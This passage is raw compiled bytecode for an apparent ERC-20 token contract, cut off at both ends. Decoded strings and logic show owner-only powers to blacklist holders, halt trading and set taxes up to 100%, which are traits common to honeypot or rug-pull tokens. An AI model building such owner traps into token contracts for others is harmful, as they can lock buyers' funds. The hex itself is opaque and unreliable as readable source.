ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e4e57610dcd826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5f9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e59848484611dc3565b90509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906131fd565b60405180910390fd5b80600260006101000a81548160ff02191690831515021790555050565b6000610f42827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6109b3565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce906131fd565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601260149054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611113906131fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f906131fd565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906131fd565b60405180910390fd5b6064811115611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b9061346d565b60405180910390fd5b80600e8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546113c69061331d565b80601f01602080910402602001604051908101604052809291908181526020018280546113f29061331d565b801561143f5780601f106114145761010080835404028352916020019161143f565b820191906000526020600020905b81548152906001019060200180831161142257829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ce906131fd565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b7906131fd565b60405180910390fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611679338484611dc3565b905092915050565b60145481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170c906131fd565b60405180910390fd5b60005b838390508110156117b257816009600086868581811061173b5761173a61348d565b5b90506020020160208101906117509190612f48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806117ab906134bc565b9050611718565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183d906131fd565b60405180910390fd5b60005b838390508110156118e357816001600086868581811061186c5761186b61348d565b5b90506020020160208101906118819190612f48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806118dc906134bc565b9050611849565b50505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461199d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611994906131fd565b60405180910390fd5b82601260146101000a81548160ff0219169083151502179055508160138190555080601481905550505050565b600260009054906101000a900460ff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0f906131fd565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc60648484611b45919061324c565b611b4f91906132bd565b9081150290604051600060405180830381858888f19350505050158015611b7a573d6000803e3d6000fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c04906131fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7390613550565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e9190612d6f565b60405180910390fd5b5060008385611db69190613570565b9050809150509392505050565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e49906135f0565b60405180910390fd5b611e5a6121d6565b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611ec157611ec06122ad565b5b60006298968083611ed291906132bd565b9050600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611f8f578083611f8c9190613570565b92505b612018836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5f9092919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006120678686612828565b61207157836120cd565b6120cc8685601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146128d6565b5b905061212181600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7990919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121c19190612cc4565b60405180910390a36001925050509392505050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156122435750601560009054906101000a900460ff16155b801561225b5750601260149054906101000a900460ff165b80156122a85750601354600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601560006101000a81548160ff0219169083151502179055506000601454600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561231d576014549050612360565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b600061239e6002612390600c54612382600a5487612ad790919063ffffffff16565b612b5190919063ffffffff16565b612b5190919063ffffffff16565b905060006123b58284612b9b90919063ffffffff16565b90506000600267ffffffffffffffff8111156123d4576123d3613610565b5b6040519080825280602002602001820160405280156124025781602001602082028036833780820191505090505b509050308160008151811061241a5761241961348d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124e59190613654565b816001815181106124f9576124f861348d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161259795949392919061377a565b600060405180830381600087803b1580156125b157600080fd5b505af11580156125c5573d6000803e3d6000fd5b50505050600047905060006125fa6125e96002600a54612b5190919063ffffffff16565b600c54612b9b90919063ffffffff16565b90506000612638600261262a8461261c600a5488612ad790919063ffffffff16565b612b5190919063ffffffff16565b612b5190919063ffffffff16565b9050600061264f8285612b9b90919063ffffffff16565b905060008111156126f1576000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516126a690613805565b600060405180830381858888f193505050503d80600081146126e4576040519150601f19603f3d011682016040523d82523d6000602084013e6126e9565b606091505b505080915050505b600087111561280357601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016127839695949392919061381a565b60606040518083038185885af11580156127a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127c6919061387b565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516127fa9291906138ce565b60405180910390a15b50505050505050506000601560006101000a81548160ff021916908315150217905550565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128ce5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000600260009054906101000a900460ff16612927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291e90613943565b60405180910390fd5b6000612960600d546129528561293f57600c54612943565b600e545b87612ad790919063ffffffff16565b612b5190919063ffffffff16565b90506129b481600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7990919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a549190612cc4565b60405180910390a3612a6f8185612b9b90919063ffffffff16565b9150509392505050565b6000808284612a889190613963565b905083811015612acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac4906139e3565b60405180910390fd5b8091505092915050565b6000808303612ae95760009050612b4b565b60008284612af7919061324c565b9050828482612b0691906132bd565b14612b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3d90613a75565b60405180910390fd5b809150505b92915050565b6000612b9383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612be5565b905092915050565b6000612bdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d5f565b905092915050565b60008083118290612c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c239190612d6f565b60405180910390fd5b5060008385612c3b91906132bd565b9050809150509392505050565b600080fd5b600080fd5b6000819050919050565b612c6581612c52565b8114612c7057600080fd5b50565b600081359050612c8281612c5c565b92915050565b600060208284031215612c9e57612c9d612c48565b5b6000612cac84828501612c73565b91505092915050565b612cbe81612c52565b82525050565b6000602082019050612cd96000830184612cb5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d19578082015181840152602081019050612cfe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d4182612cdf565b612d4b8185612cea565b9350612d5b818560208601612cfb565b612d6481612d25565b840191505092915050565b60006020820190508181036000830152612d898184612d36565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dbc82612d91565b9050919050565b612dcc81612db1565b8114612dd757600080fd5b50565b600081359050612de981612dc3565b92915050565b60008060408385031215612e0657612e05612c48565b5b6000612e1485828601612dda565b9250506020612e2585828601612c73565b9150509250929050565b60008115159050919050565b612e4481612e2f565b82525050565b6000602082019050612e5f6000830184612e3b565b92915050565b600080600060608486031215612e7e57612e7d612c48565b5b6000612e8c86828701612dda565b9350506020612e9d86828701612dda565b9250506040612eae86828701612c73565b9150509250925092565b600060ff82169050919050565b612ece81612eb8565b82525050565b6000602082019050612ee96000830184612ec5565b92915050565b612ef881612e2f565b8114612f0357600080fd5b50565b600081359050612f1581612eef565b92915050565b600060208284031215612f3157612f30612c48565b5b6000612f3f84828501612f06565b91505092915050565b600060208284031215612f5e57612f5d612c48565b5b6000612f6c84828501612dda565b91505092915050565b60008060408385031215612f8c57612f8b612c48565b5b6000612f9a85828601612dda565b9250506020612fab85828601612f06565b9150509250929050565b612fbe81612db1565b82525050565b6000602082019050612fd96000830184612fb5565b92915050565b60008060408385031215612ff657612ff5612c48565b5b600061300485828601612dda565b925050602061301585828601612dda565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126130445761304361301f565b5b8235905067ffffffffffffffff81111561306157613060613024565b5b60208301915083602082028301111561307d5761307c613029565b5b9250929050565b60008060006040848603121561309d5761309c612c48565b5b600084013567ffffffffffffffff8111156130bb576130ba612c4d565b5b6130c78682870161302e565b935093505060206130da86828701612f06565b9150509250925092565b6000806000606084860312156130fd576130fc612c48565b5b600061310b86828701612f06565b935050602061311c86828701612c73565b925050604061312d86828701612c73565b9150509250925092565b6000819050919050565b600061315c61315761315284612d91565b613137565b612d91565b9050919050565b600061316e82613141565b9050919050565b600061318082613163565b9050919050565b61319081613175565b82525050565b60006020820190506131ab6000830184613187565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006131e7600683612cea565b91506131f2826131b1565b602082019050919050565b60006020820190508181036000830152613216816131da565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061325782612c52565b915061326283612c52565b925082820261327081612c52565b915082820484148315176132875761328661321d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132c882612c52565b91506132d383612c52565b9250826132e3576132e261328e565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061333557607f821691505b602082108103613348576133476132ee565b5b50919050565b60008151905061335d81612c5c565b92915050565b60006020828403121561337957613378612c48565b5b60006133878482850161334e565b91505092915050565b60006040820190506133a56000830185612fb5565b6133b26020830184612cb5565b9392505050565b6000815190506133c881612eef565b92915050565b6000602082840312156133e4576133e3612c48565b5b60006133f2848285016133b9565b91505092915050565b7f5461782070657263656e74616765206d757374206265206265747765656e203060008201527f20616e6420313030000000000000000000000000000000000000000000000000602082015250565b6000613457602883612cea565b9150613462826133fb565b604082019050919050565b600060208201905081810360008301526134868161344a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006134c782612c52565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134f9576134f861321d565b5b600182019050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b600061353a600883612cea565b915061354582613504565b602082019050919050565b600060208201905081810360008301526135698161352d565b9050919050565b600061357b82612c52565b915061358683612c52565b925082820390508181111561359e5761359d61321d565b5b92915050565b7f53656e64657220697320626c61636b6c69737465640000000000000000000000600082015250565b60006135da601583612cea565b91506135e5826135a4565b602082019050919050565b60006020820190508181036000830152613609816135cd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061364e81612dc3565b92915050565b60006020828403121561366a57613669612c48565b5b60006136788482850161363f565b91505092915050565b6000819050919050565b60006136a66136a161369c84613681565b613137565b612c52565b9050919050565b6136b68161368b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136f181612db1565b82525050565b600061370383836136e8565b60208301905092915050565b6000602082019050919050565b6000613727826136bc565b61373181856136c7565b935061373c836136d8565b8060005b8381101561376d57815161375488826136f7565b975061375f8361370f565b925050600181019050613740565b5085935050505092915050565b600060a08201905061378f6000830188612cb5565b61379c60208301876136ad565b81810360408301526137ae818661371c565b90506137bd6060830185612fb5565b6137ca6080830184612cb5565b9695505050505050565b600081905092915050565b50565b60006137ef6000836137d4565b91506137fa826137df565b600082019050919050565b6000613810826137e2565b9150819050919050565b600060c08201905061382f6000830189612fb5565b61383c6020830188612cb5565b61384960408301876136ad565b61385660608301866136ad565b6138636080830185612fb5565b61387060a0830184612cb5565b979650505050505050565b60008060006060848603121561389457613893612c48565b5b60006138a28682870161334e565b93505060206138b38682870161334e565b92505060406138c48682870161334e565b9150509250925092565b60006040820190506138e36000830185612cb5565b6138f06020830184612cb5565b9392505050565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b600061392d601d83612cea565b9150613938826138f7565b602082019050919050565b6000602082019050818103600083015261395c81613920565b9050919050565b600061396e82612c52565b915061397983612c52565b92508282019050808211156139915761399061321d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006139cd601b83612cea565b91506139d882613997565b602082019050919050565b600060208201905081810360008301526139fc816139c0565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a5f602183612cea565b9150613a6a82613a03565b604082019050919050565b60006020820190508181036000830152613a8e81613a52565b905091905056fea26469706673582212207b680e7d5dc867ff09ede280ceeb470ee452ec46a8848c199205667dbbb7278a64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102135760003560e01c80638cd09d5011610118578063bb977cc4116100a0578063dd62ed3e1161006f578063dd62ed3e14610784578063e96fada2146107c1578063e9fad396146107ec578063f2fde38b14610815578063f887ea401461083e5761021a565b8063bb977cc4146106dc578063ca33e64c14610705578063d088935814610730578063d621e813146107595761021a565b8063a4b45c00116100e7578063a4b45c00146105f7578063a8aa1b3114610620578063a9059cbb1461064b578063acef1a4414610688578063ae5389a7146106b35761021a565b80638cd09d501461054f5780638da5cb5b1461057857806395d89b41146105a357806399c1aabb146105ce5761021a565b8063313ce5671161019b5780636ddd17131161016a5780636ddd17131461047c57806370a08231146104a7578063715018a6146104e457806373a432bb146104fb57806378109e54146105245761021a565b8063313ce567146103c25780633bec2bf3146103ed578063571ac8b014610416578063658d4b7f146104535761021a565b80631698755f116101e25780631698755f146102db578063180b0d7e1461030457806318160ddd1461032f5780631df4ccfc1461035a57806323b872dd146103855761021a565b8063012aa9121461021f5780630445b6671461024857806306fdde0314610273578063095ea7b31461029e5761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061024660048036038101906102419190612c88565b610869565b005b34801561025457600080fd5b5061025d61091b565b60405161026a9190612cc4565b60405180910390f35b34801561027f57600080fd5b50610288610921565b6040516102959190612d6f565b60405180910390f35b3480156102aa57600080fd5b506102c560048036038101906102c09190612def565b6109b3565b6040516102d29190612e4a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612def565b610aa5565b005b34801561031057600080fd5b50610319610c4c565b6040516103269190612cc4565b60405180910390f35b34801561033b57600080fd5b50610344610c52565b6040516103519190612cc4565b60405180910390f35b34801561036657600080fd5b5061036f610c5c565b60405161037c9190612cc4565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612e65565b610c62565b6040516103b99190612e4a565b60405180910390f35b3480156103ce57600080fd5b506103d7610e62565b6040516103e49190612ed4565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190612f1b565b610e6b565b005b34801561042257600080fd5b5061043d60048036038101906104389190612f48565b610f16565b60405161044a9190612e4a565b60405180910390f35b34801561045f57600080fd5b5061047a60048036038101906104759190612f75565b610f49565b005b34801561048857600080fd5b50610491611032565b60405161049e9190612e4a565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612f48565b611045565b6040516104db9190612cc4565b60405180910390f35b3480156104f057600080fd5b506104f961108e565b005b34801561050757600080fd5b50610522600480360381019061051d9190612f48565b6111da565b005b34801561053057600080fd5b506105396112ac565b6040516105469190612cc4565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612c88565b6112b2565b005b34801561058457600080fd5b5061058d61138e565b60405161059a9190612fc4565b60405180910390f35b3480156105af57600080fd5b506105b86113b7565b6040516105c59190612d6f565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f09190612f75565b611449565b005b34801561060357600080fd5b5061061e60048036038101906106199190612fdf565b611532565b005b34801561062c57600080fd5b50610635611646565b6040516106429190612fc4565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612def565b61166c565b60405161067f9190612e4a565b60405180910390f35b34801561069457600080fd5b5061069d611681565b6040516106aa9190612cc4565b60405180910390f35b3480156106bf57600080fd5b506106da60048036038101906106d59190613084565b611687565b005b3480156106e857600080fd5b5061070360048036038101906106fe9190613084565b6117b8565b005b34801561071157600080fd5b5061071a6118e9565b6040516107279190612fc4565b60405180910390f35b34801561073c57600080fd5b50610757600480360381019061075291906130e4565b61190f565b005b34801561076557600080fd5b5061076e6119ca565b60405161077b9190612e4a565b60405180910390f35b34801561079057600080fd5b506107ab60048036038101906107a69190612fdf565b6119dd565b6040516107b89190612cc4565b60405180910390f35b3480156107cd57600080fd5b506107d6611a64565b6040516107e39190612fc4565b60405180910390f35b3480156107f857600080fd5b50610813600480360381019061080e9190612c88565b611a8a565b005b34801561082157600080fd5b5061083c60048036038101906108379190612f48565b611b7f565b005b34801561084a57600080fd5b50610853611d39565b6040516108609190613196565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ee906131fd565b60405180910390fd5b61271081600554610908919061324c565b61091291906132bd565b60068190555050565b60135481565b6060600380546109309061331d565b80601f016020809104026020016040519081016040528092919081815260200182805461095c9061331d565b80156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a939190612cc4565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a906131fd565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b6e9190612fc4565b602060405180830381865afa158015610b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baf9190613363565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360648585610bdc919061324c565b610be691906132bd565b6040518363ffffffff1660e01b8152600401610c03929190613390565b6020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4691906133ce565b50505050565b600d5481565b6000600554905090565b600c5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e4e57610dcd826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5f9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e59848484611dc3565b90509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906131fd565b60405180910390fd5b80600260006101000a81548160ff02191690831515021790555050565b6000610f42827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6109b3565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce906131fd565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601260149054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461111c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611113906131fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f906131fd565b60405180910390f